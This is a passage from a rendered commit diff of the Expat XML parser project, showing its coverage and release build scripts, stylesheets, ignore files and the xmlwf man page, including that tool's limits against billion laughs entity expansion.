ln -s "${mingw_gcc_dll_dir}"/${dll} "${target}"/${dll}
)
done
local mingw_pthread_dll="$(ls -1 /usr/i686-w64-mingw32/lib*/libwinpthread-1.dll 2>/dev/null | head -n1)"
if [[ -n ${mingw_pthread_dll} ]]; then
local mingw_pthread_dll_dir="$(dirname "${mingw_pthread_dll}")"
for dll in libwinpthread-1.dll; do
source="${mingw_pthread_dll_dir}"/${dll}
(
set -x
ln -s "${source}" "${target}"/${dll}
)
done
fi
for dll in libexpat{,w}-*.dll; do
(
set -x
ln -s "${abs_build_dir}"/${dll} "${target}"/${dll}
)
done
}
_run() {
local source_dir="$1"
local build_dir="$2"
local abs_source_dir="${PWD}/${source_dir}"
local abs_build_dir="${PWD}/${build_dir}"
local capture_dir=.
local BASE_FLAGS='-pipe -Wall -Wextra -pedantic -Wno-overlength-strings'
BASE_FLAGS+=' --coverage --no-inline'
${with_unsigned_char} && BASE_FLAGS="${BASE_FLAGS} -funsigned-char"
local CFLAGS="-std=c99 ${BASE_FLAGS}"
local CXXFLAGS="-std=c++98 ${BASE_FLAGS}"
(
set -e
cd "${build_dir}"
_call_cmake \
-DCMAKE_C_FLAGS="${CFLAGS}" \
-DCMAKE_CXX_FLAGS="${CXXFLAGS}"
(
set -x
make &> build.log
lcov -c -d "${capture_dir}" -i -o "${coverage_info}-zero" &> run.log
)
if ${with_mingw}; then
for d in tests xmlwf ; do
mkdir -p "${d}"
_copy_missing_mingw_libaries "${d}"
done
fi
set -x
make CTEST_OUTPUT_ON_FAILURE=1 test run-xmltest
lcov -c -d "${capture_dir}" -o "${coverage_info}-test" &>> run.log
lcov \
-a "${coverage_info}-zero" \
-a "${coverage_info}-test" \
-o "${coverage_info}-all" \
&>> run.log
# Make sure that files overlap in report despite different build folders
sed "/SF:/ s,${build_dir}/,${source_dir}/," "${coverage_info}-all" > "${coverage_info}"
) |& sed 's,^, ,'
res=${PIPESTATUS[0]}
if [[ ${res} -eq 0 ]]; then
echo PASSED
else
echo FAILED >&2
return 1
fi
}
_merge_coverage_info() {
local coverage_dir="$1"
shift
local build_dirs=( "$@" )
mkdir -p "${coverage_dir}"
(
local lcov_merge_args=( -q )
for build_dir in "${build_dirs[@]}"; do
lcov_merge_args+=( -a "${build_dir}/${coverage_info}" )
done
lcov_merge_args+=( -o "${coverage_dir}/${coverage_info}" )
set -x
lcov "${lcov_merge_args[@]}"
) |& tee "${coverage_dir}/merge.log"
}
_clean_coverage_info() {
local coverage_dir="$1"
local pattern
for pattern in \
'/usr/**mingw**/include/*' \
'*/CMakeFiles/*' \
'*/examples/*' \
'*/tests/*' \
; do
(
set -x
lcov -q -o "${coverage_dir}/${coverage_info}" -r "${coverage_dir}/${coverage_info}" "${pattern}"
) |& tee "${coverage_dir}/clean.log"
done
}
_render_html_report() {
local coverage_dir="$1"
(
set -x
genhtml -o "${coverage_dir}" "${coverage_dir}/${coverage_info}" &> "${coverage_dir}/render.log"
)
}
_show_summary() {
local coverage_dir="$1"
(
set -x
lcov -q -l "${coverage_dir}/${coverage_info}"
) | grep -v '^\['
}
_main() {
version="$(git describe --tags)"
coverage_info=coverage.info
local build_dirs=()
local source_dir="$(_get_source_dir)"
local coverage_dir="$(_get_coverage_dir)"
_copy_to "${source_dir}"
_build_case() {
local build_dir="$(_get_build_dir)"
echo "[${build_dir}]"
_copy_to "${build_dir}"
# Make sure we don't need to download xmlts.zip over and over again
if [[ ${#build_dirs[*]} -gt 0 ]]; then
ln -s "$PWD/${build_dirs[0]}/tests/xmlts.zip" "${build_dir}"/tests/
fi
_run "${source_dir}" "${build_dir}"
build_dirs+=( "${build_dir}" )
}
# All combinations:
with_unsigned_char=false
with_libbsd=false
with_m32=false
for with_mingw in true false ; do
for unicode_enabled in true false ; do
if ${unicode_enabled} && ! ${with_mingw} ; then
continue
fi
for xml_attr_info_enabled in true false ; do
for xml_context in 0 1024 ; do
_build_case
done
done
done
done
# Single cases:
with_libbsd=true _build_case
with_unsigned_char=true _build_case
with_m32=true _build_case
echo
echo 'Merging coverage files...'
_merge_coverage_info "${coverage_dir}" "${build_dirs[@]}"
echo
echo 'Cleaning coverage files...'
_clean_coverage_info "${coverage_dir}"
echo
echo 'Rendering HTML report...'
_render_html_report "${coverage_dir}"
echo "--> ${coverage_dir}/index.html"
echo
echo 'Rendering ASCII report...'
_show_summary "${coverage_dir}"
}
_main
-5
View File
@@ -1,5 +0,0 @@
@echo off
set LIB=..\xmlparse\Release;..\xmltok\Release;..\lib;%LIB%
set INCLUDE=..\xmlparse;..\xmltok;%INCLUDE%
set CL=/nologo /DXMLTOKAPI=__declspec(dllimport) /DXMLPARSEAPI=__declspec(dllimport) xmlparse.lib xmltok.lib
cl /Fe..\bin\demo demo.c
+54
View File
@@ -0,0 +1,54 @@
#! /usr/bin/env bash
# Creates release tarball and detached GPG signature file for upload
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2018-2019 Sebastian Pipping <sebastian@pipping.org>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
set -e
PS4='# '
set -x
version="$(./conftools/get-version.sh lib/expat.h)"
./buildconf.sh
./configure
make distcheck
extensions=(
gz
bz2
lz
xz
)
for ext in ${extensions[@]} ; do
archive=expat-${version}.tar.${ext}
gpg --armor --output ${archive}.asc --detach-sign ${archive}
gpg --verify ${archive}.asc ${archive}
done
+2
View File
@@ -0,0 +1,2 @@
/XMLWF.1
/xmlwf.1
+60
View File
@@ -0,0 +1,60 @@
#
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2017-2022 Sebastian Pipping <sebastian@pipping.org>
# Copyright (c) 2017 Stephen Groat <stephen@groat.us>
# Copyright (c) 2017 Joe Orton <jorton@redhat.com>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
.PHONY: dist-hook # not inside conditional to avoid automake warning
if WITH_DOCBOOK
dist_man_MANS = xmlwf.1
xmlwf.1: xmlwf.xml
-rm -f $@
$(DOCBOOK_TO_MAN) $<
test -f $@ || mv XMLWF.1 $@
else
dist-hook:
@echo 'ERROR: Configure with --with-docbook for "make dist".' 1>&2
@false
endif
# https://www.gnu.org/software/automake/manual/automake.html#What-Gets-Cleaned
.PHONY: clean-local
clean-local: clean-local-check
.PHONY: clean-local-check
clean-local-check:
$(RM) xmlwf.1
EXTRA_DIST = \
ok.min.css \
reference.html \
style.css \
xmlwf.xml
+2
View File
@@ -0,0 +1,2 @@
/*! OK.css v1.0.3 | MIT License | github.com/andrewh0/okcss */@import url("https://rsms.me/inter/inter.css");
/*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */html{line-height:1.15}body{margin:0}main{display:block}h1{font-size:2em;margin:.67em 0}hr{box-sizing:content-box;height:0;overflow:visible}pre{font-family:monospace,monospace;font-size:1em}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font-family:monospace,monospace;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{border-style:none;padding:0}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}details{display:block}summary{display:list-item}[hidden],template{display:none}:root{--ok-sans:"Inter",system-ui,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen,Ubuntu,Cantarell,"Open Sans","Helvetica Neue","Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--ok-mono:SFMono-Regular,Menlo,Monaco,Consolas,"Ubuntu Mono","Liberation Mono","Courier New",Courier,monospace;--ok-fw-0:400;--ok-fw-1:600;--ok-fw-2:700;--ok-fw-3:700;--ok-fs-0:2.5rem;--ok-fs-1:2rem;--ok-fs-2:1.5rem;--ok-fs-3:1.25rem;--ok-fs-4:1rem;--ok-fs-5:0.75rem;--ok-br:0.25rem;--ok-s-0:0;--ok-s-1:0.25rem;--ok-s-2:0.5rem;--ok-s-3:1rem;--ok-s-4:1.5rem;--ok-s-5:2rem;--ok-s-6:2.5rem;--ok-lh-body:1.5;--ok-lh-heading:1.25;--ok-t-hl:#ffcf30;--ok-accent-0:#3e67fa;--ok-accent-1:#4788ff;--ok-tc-accent:#3173de;--ok-tc-code:#c23a30;--ok-tc-0:#000;--ok-tc-1:#747474;--ok-tc-2:#848484;--ok-bg-0:#fff;--ok-bg-1:#f0f0f0;--ok-bg-2:#ccc;--ok-b-0:1px solid #cbcbcb;--ok-b-1:1px solid #848484;--ok-down-0:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' height='8' viewBox='0 0 12 8' width='24' fill='none'%3E%3Cpath d='M6 6l4-4h1v1-1L6 7 1 2h1l4 4z' fill='%23747474'/%3E%3C/svg%3E");--ok-down-1:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' height='8' viewBox='0 0 12 8' width='24' fill='none'%3E%3Cpath d='M6 6l4-4h1v1-1L6 7 1 2h1l4 4z' fill='%23848484'/%3E%3C/svg%3E")}@media (prefers-color-scheme:dark){:root{--ok-tc-accent:#5c9aff;--ok-tc-code:#ed5853;--ok-tc-0:#fff;--ok-tc-1:#ababab;--ok-tc-2:#929292;--ok-bg-0:#000;--ok-bg-1:#212121;--ok-bg-2:#3e3e3e;--ok-b-0:1px solid #747474;--ok-b-1:1px solid #929292;--ok-down-0:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' height='8' viewBox='0 0 12 8' width='24' fill='none'%3E%3Cpath d='M6 6l4-4h1v1-1L6 7 1 2h1l4 4z' fill='%23ababab'/%3E%3C/svg%3E");--ok-down-1:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' height='8' viewBox='0 0 12 8' width='24' fill='none'%3E%3Cpath d='M6 6l4-4h1v1-1L6 7 1 2h1l4 4z' fill='%23929292'/%3E%3C/svg%3E")}}*,:after,:before{box-sizing:border-box}*{margin:0;padding:0}html{font-family:var(--ok-sans);line-sizing:normal;line-height:var(--ok-lh-body);font-weight:var(--ok-fw-0);color:var(--ok-tc-0);background-color:var(--ok-bg-0);-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;-webkit-text-size-adjust:100%;-moz-text-size-adjust:100%;-ms-text-size-adjust:100%;text-size-adjust:100%;text-rendering:optimizeLegibility}@supports (font-variation-settings:normal){html{font-family:Inter var,var(--ok-sans)}}button,input,optgroup,select,textarea{font-family:inherit;line-height:var(--ok-lh-body)}[role=button],button{cursor:pointer}audio,canvas,embed,iframe,img,input,object,select,svg,textarea,video{display:block}img,video{max-width:100%;height:auto}body{padding:var(--ok-s-3);max-width:80ch;margin:auto}h1{font-size:var(--ok-fs-0);margin:0}h2{font-size:var(--ok-fs-1)}h3{font-size:var(--ok-fs-2)}h4{font-size:var(--ok-fs-3)}h5{font-size:var(--ok-fs-4)}h6{font-size:var(--ok-fs-5);text-transform:uppercase;font-weight:var(--ok-fw-1)}h1,h2,h3,h4,h5,h6{line-height:var(--ok-lh-heading);font-weight:var(--ok-fw-3)}p{font-size:var(--ok-fs-4)}small{fontLine truncated
File diff suppressed because it is too large. Load diff
+47
View File
@@ -0,0 +1,47 @@
/*
__ __ _
___\ \/ /_ __ __ _| |_
/ _ \\ /| '_ \ / _` | __|
| __// \| |_) | (_| | |_
\___/_/\_\ .__/ \__,_|\__|
|_| XML parser
Copyright (c) 2000 Clark Cooper <coopercc@users.sourceforge.net>
Copyright (c) 2000-2004 Fred L. Drake, Jr. <fdrake@users.sourceforge.net>
Copyright (c) 2021 Sebastian Pipping <sebastian@pipping.org>
Licensed under the MIT license:
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the
following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
/* Stop not using half the screen */
body {
max-width: none; /* was: 80ch */
}
.cpp-symbols dt {
font-family: monospace;
}
/* Resemble style of <footer> which is not part of xhtml1-strict */
.footer {
font-size: var(--ok-fs-5);
color: var(--ok-tc-1);
}
+538
View File
@@ -0,0 +1,538 @@
<!--
__ __ _
___\ \/ /_ __ __ _| |_
/ _ \\ /| '_ \ / _` | __|
| __// \| |_) | (_| | |_
\___/_/\_\ .__/ \__,_|\__|
|_| XML parser
Copyright (c) 2001 Scott Bronson <bronson@rinspin.com>
Copyright (c) 2002-2003 Fred L. Drake, Jr. <fdrake@users.sourceforge.net>
Copyright (c) 2009 Karl Waclawek <karl@waclawek.net>
Copyright (c) 2016-2022 Sebastian Pipping <sebastian@pipping.org>
Copyright (c) 2016 Ardo van Rangelrooij <ardo@debian.org>
Copyright (c) 2017 Rhodri James <rhodri@wildebeest.org.uk>
Copyright (c) 2020 Joe Orton <jorton@redhat.com>
Copyright (c) 2021 Tim Bray <tbray@textuality.com>
Unlike most of Expat,
this file is copyrighted under the GNU Free Documentation License 1.1.
-->
<!DOCTYPE refentry PUBLIC "-//OASIS//DTD DocBook XML V4.2//EN"
"http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd" [
<!ENTITY dhfirstname "<firstname>Scott</firstname>">
<!ENTITY dhsurname "<surname>Bronson</surname>">
<!ENTITY dhdate "<date>October 25, 2022</date>">
<!-- Please adjust this^^ date whenever cutting a new release. -->
<!ENTITY dhsection "<manvolnum>1</manvolnum>">
<!ENTITY dhemail "<email>bronson@rinspin.com</email>">
<!ENTITY dhusername "Scott Bronson">
<!ENTITY dhucpackage "<refentrytitle>XMLWF</refentrytitle>">
<!ENTITY dhpackage "xmlwf">
<!ENTITY debian "<productname>Debian GNU/Linux</productname>">
<!ENTITY gnu "<acronym>GNU</acronym>">
]>
<refentry>
<refentryinfo>
<address>
&dhemail;
</address>
<author>
&dhfirstname;
&dhsurname;
</author>
<copyright>
<year>2001</year>
<holder>&dhusername;</holder>
</copyright>
&dhdate;
</refentryinfo>
<refmeta>
&dhucpackage;
&dhsection;
</refmeta>
<refnamediv>
<refname>&dhpackage;</refname>
<refpurpose>Determines if an XML document is well-formed</refpurpose>
</refnamediv>
<refsynopsisdiv>
<cmdsynopsis>
<command>&dhpackage;</command>
<arg><replaceable>OPTIONS</replaceable></arg>
<arg><replaceable>FILE</replaceable> ...</arg>
</cmdsynopsis>
<cmdsynopsis>
<command>&dhpackage;</command>
<arg choice="plain"><option>-h</option></arg>
</cmdsynopsis>
<cmdsynopsis>
<command>&dhpackage;</command>
<arg choice="plain"><option>-v</option></arg>
</cmdsynopsis>
</refsynopsisdiv>
<refsect1>
<title>DESCRIPTION</title>
<para>
<command>&dhpackage;</command> uses the Expat library to
determine if an XML document is well-formed. It is
non-validating.
</para>
<para>
If you do not specify any files on the command-line, and you
have a recent version of <command>&dhpackage;</command>, the
input file will be read from standard input.
</para>
</refsect1>
<refsect1>
<title>WELL-FORMED DOCUMENTS</title>
<para>
A well-formed document must adhere to the
following rules:
</para>
<itemizedlist>
<listitem><para>
The file begins with an XML declaration. For instance,
<literal>&lt;?xml version="1.0" standalone="yes"?&gt;</literal>.
<emphasis>NOTE</emphasis>:
<command>&dhpackage;</command> does not currently
check for a valid XML declaration.
</para></listitem>
<listitem><para>
Every start tag is either empty (&lt;tag/&gt;)
or has a corresponding end tag.
</para></listitem>
<listitem><para>
There is exactly one root element. This element must contain
all other elements in the document. Only comments, white
space, and processing instructions may come after the close
of the root element.
</para></listitem>
<listitem><para>
All elements nest properly.
</para></listitem>
<listitem><para>
All attribute values are enclosed in quotes (either single
or double).
</para></listitem>
</itemizedlist>
<para>
If the document has a DTD, and it strictly complies with that
DTD, then the document is also considered <emphasis>valid</emphasis>.
<command>&dhpackage;</command> is a non-validating parser --
it does not check the DTD. However, it does support
external entities (see the <option>-x</option> option).
</para>
</refsect1>
<refsect1>
<title>OPTIONS</title>
<para>
When an option includes an argument, you may specify the argument either
separately ("<option>-d</option> <replaceable>output</replaceable>") or concatenated with the
option ("<option>-d</option><replaceable>output</replaceable>"). <command>&dhpackage;</command>
supports both.
</para>
<variablelist>
<varlistentry>
<term><option>-a</option> <replaceable>factor</replaceable></term>
<listitem>
<para>
Sets the maximum tolerated amplification factor
for protection against billion laughs attacks (default: 100.0).
The amplification factor is calculated as ..
</para>
<literallayout>
amplification := (direct + indirect) / direct
</literallayout>
<para>
.. while parsing, whereas
&lt;direct&gt; is the number of bytes read
from the primary document in parsing and
&lt;indirect&gt; is the number of bytes
added by expanding entities and reading of external DTD files,
combined.
</para>
<para>
<emphasis>NOTE</emphasis>:
If you ever need to increase this value for non-attack payload,
please file a bug report.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-b</option> <replaceable>bytes</replaceable></term>
<listitem>
<para>
Sets the number of output bytes (including amplification)
needed to activate protection against billion laughs attacks
(default: 8 MiB).
This can be thought of as an &quot;activation threshold&quot;.
</para>
<para>
<emphasis>NOTE</emphasis>:
If you ever need to increase this value for non-attack payload,
please file a bug report.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-c</option></term>
<listitem>
<para>
If the input file is well-formed and <command>&dhpackage;</command>
doesn't encounter any errors, the input file is simply copied to
the output directory unchanged.
This implies no namespaces (turns off <option>-n</option>) and
requires <option>-d</option> to specify an output directory.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-d</option> <replaceable>output-dir</replaceable></term>
<listitem>
<para>
Specifies a directory to contain transformed
representations of the input files.
By default, <option>-d</option> outputs a canonical representation
(described below).
You can select different output formats using <option>-c</option>,
<option>-m</option> and <option>-N</option>.
</para>
<para>
The output filenames will
be exactly the same as the input filenames or "STDIN" if the input is
coming from standard input. Therefore, you must be careful that the
output file does not go into the same directory as the input
file. Otherwise, <command>&dhpackage;</command> will delete the
input file before it generates the output file (just like running
<literal>cat &lt; file &gt; file</literal> in most shells).
</para>
<para>
Two structurally equivalent XML documents have a byte-for-byte
identical canonical XML representation.
Note that ignorable white space is considered significant and
is treated equivalently to data.
More on canonical XML can be found at
http://www.jclark.com/xml/canonxml.html .
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-e</option> <replaceable>encoding</replaceable></term>
<listitem>
<para>
Specifies the character encoding for the document, overriding
any document encoding declaration. <command>&dhpackage;</command>
supports four built-in encodings:
<literal>US-ASCII</literal>,
<literal>UTF-8</literal>,
<literal>UTF-16</literal>, and
<literal>ISO-8859-1</literal>.
Also see the <option>-w</option> option.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-k</option></term>
<listitem>
<para>
When processing multiple files, <command>&dhpackage;</command>
by default halts after the the first file with an error.
This tells <command>&dhpackage;</command> to report the error
but to keep processing.
This can be useful, for example, when testing a filter that converts
many files to XML and you want to quickly find out which conversions
failed.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-m</option></term>
<listitem>
<para>
Outputs some strange sort of XML file that completely
describes the input file, including character positions.
Requires <option>-d</option> to specify an output file.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-n</option></term>
<listitem>
<para>
Turns on namespace processing. (describe namespaces)
<option>-c</option> disables namespaces.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-N</option></term>
<listitem>
<para>
Adds a doctype and notation declarations to canonical XML output.
This matches the example output used by the formal XML test cases.
Requires <option>-d</option> to specify an output file.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-p</option></term>
<listitem>
<para>
Tells <command>&dhpackage;</command> to process external DTDs and parameter
entities.
</para>
<para>
Normally <command>&dhpackage;</command> never parses parameter
entities. <option>-p</option> tells it to always parse them.
<option>-p</option> implies <option>-x</option>.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-r</option></term>
<listitem>
<para>
Normally <command>&dhpackage;</command> memory-maps the XML file
before parsing; this can result in faster parsing on many
platforms.
<option>-r</option> turns off memory-mapping and uses normal file
IO calls instead.
Of course, memory-mapping is automatically turned off
when reading from standard input.
</para>
<para>
Use of memory-mapping can cause some platforms to report
substantially higher memory usage for
<command>&dhpackage;</command>, but this appears to be a matter of
the operating system reporting memory in a strange way; there is
not a leak in <command>&dhpackage;</command>.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-s</option></term>
<listitem>
<para>
Prints an error if the document is not standalone.
A document is standalone if it has no external subset and no
references to parameter entities.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-t</option></term>
<listitem>
<para>
Turns on timings. This tells Expat to parse the entire file,
but not perform any processing.
This gives a fairly accurate idea of the raw speed of Expat itself
without client overhead.
<option>-t</option> turns off most of the output options
(<option>-d</option>, <option>-m</option>, <option>-c</option>, ...).
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-v</option></term>
<listitem>
<para>
Prints the version of the Expat library being used, including some
information on the compile-time configuration of the library, and
then exits.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-w</option></term>
<listitem>
<para>
Enables support for Windows code pages.
Normally, <command>&dhpackage;</command> will throw an error if it
runs across an encoding that it is not equipped to handle itself. With
<option>-w</option>, <command>&dhpackage;</command> will try to use a Windows code
page. See also <option>-e</option>.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-x</option></term>
<listitem>
<para>
Turns on parsing external entities.
</para>
<para>
Non-validating parsers are not required to resolve external
entities, or even expand entities at all.
Expat always expands internal entities (?),
but external entity parsing must be enabled explicitly.
</para>
<para>
External entities are simply entities that obtain their
data from outside the XML file currently being parsed.
</para>
<para>
This is an example of an internal entity:
<literallayout>
&lt;!ENTITY vers '1.0.2'&gt;
</literallayout>
</para>
<para>
And here are some examples of external entities:
<literallayout>
&lt;!ENTITY header SYSTEM "header-&amp;vers;.xml"&gt; (parsed)
&lt;!ENTITY logo SYSTEM "logo.png" PNG&gt; (unparsed)
</literallayout>
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>--</option></term>
<listitem>
<para>
(Two hyphens.)
Terminates the list of options. This is only needed if a filename
starts with a hyphen. For example:
</para>
<literallayout>
&dhpackage; -- -myfile.xml
</literallayout>
<para>
will run <command>&dhpackage;</command> on the file
<filename>-myfile.xml</filename>.
</para>
</listitem>
</varlistentry>
</variablelist>
<para>
Older versions of <command>&dhpackage;</command> do not support
reading from standard input.
</para>
</refsect1>
<refsect1>
<title>OUTPUT</title>
<para>
<command>&dhpackage;</command> outputs nothing for files which are problem-free.
If any input file is not well-formed, or if the output for any
input file cannot be opened, <command>&dhpackage;</command> prints a single
line describing the problem to standard output.
</para>
<para>
If the <option>-k</option> option is not provided, <command>&dhpackage;</command>
halts upon encountering a well-formedness or output-file error.
If <option>-k</option> is provided, <command>&dhpackage;</command> continues
processing the remaining input files, describing problems found with any of them.
</para>
</refsect1>
<refsect1>
<title>EXIT STATUS</title>
<para>For option <option>-v</option> or <option>-h</option>, <command>&dhpackage;</command> always exits with status code 0. For other cases, the following exit status codes are returned:
<variablelist>
<varlistentry>
<term><option>0</option></term>
<listitem><para>The input files are well-formed and the output (if requested) was written successfully.</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>1</option></term>
<listitem><para>An internal error occurred.</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>2</option></term>
<listitem><para>One or more input files were not well-formed or could not be parsed.</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>3</option></term>
<listitem><para>If using the <option>-d</option> option, an error occurred opening an output file.</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>4</option></term>
<listitem><para>There was a command-line argument error in how <command>&dhpackage;</command> was invoked.</para>
</listitem>
</varlistentry>
</variablelist>
</para>
</refsect1>
<refsect1>
<title>BUGS</title>
<para>
The errors should go to standard error, not standard output.
</para>
<para>
There should be a way to get <option>-d</option> to send its
output to standard output rather than forcing the user to send
it to a file.
</para>
<para>
I have no idea why anyone would want to use the
<option>-d</option>, <option>-c</option>, and
<option>-m</option> options. If someone could explain it to
me, I'd like to add this information to this manpage.
</para>
</refsect1>
<refsect1>
<title>SEE ALSO</title>
<para>
<literallayout>
The Expat home page: https://libexpat.github.io/
The W3 XML 1.0 specification (fourth edition): https://www.w3.org/TR/2006/REC-xml-20060816/
Billion laughs attack: https://en.wikipedia.org/wiki/Billion_laughs_attack
</literallayout>
</para>
</refsect1>
<refsect1>
<title>AUTHOR</title>
<para>
This manual page was originally written by &dhusername; &dhemail;
in December 2001 for
the &debian; system (but may be used by others). Permission is
granted to copy, distribute and/or modify this document under
the terms of the <acronym>GNU</acronym> Free Documentation
License, Version 1.1.
</para>
</refsect1>
</refentry>
+8
View File
@@ -0,0 +1,8 @@
Makefile
elements
elements.plg
outline
outline.plg
Debug
Release
.libs
+40
View File
@@ -0,0 +1,40 @@
#
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2017 Sebastian Pipping <sebastian@pipping.org>
# Copyright (c) 2020 Jeffrey Walton <noloader@gmail.com>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
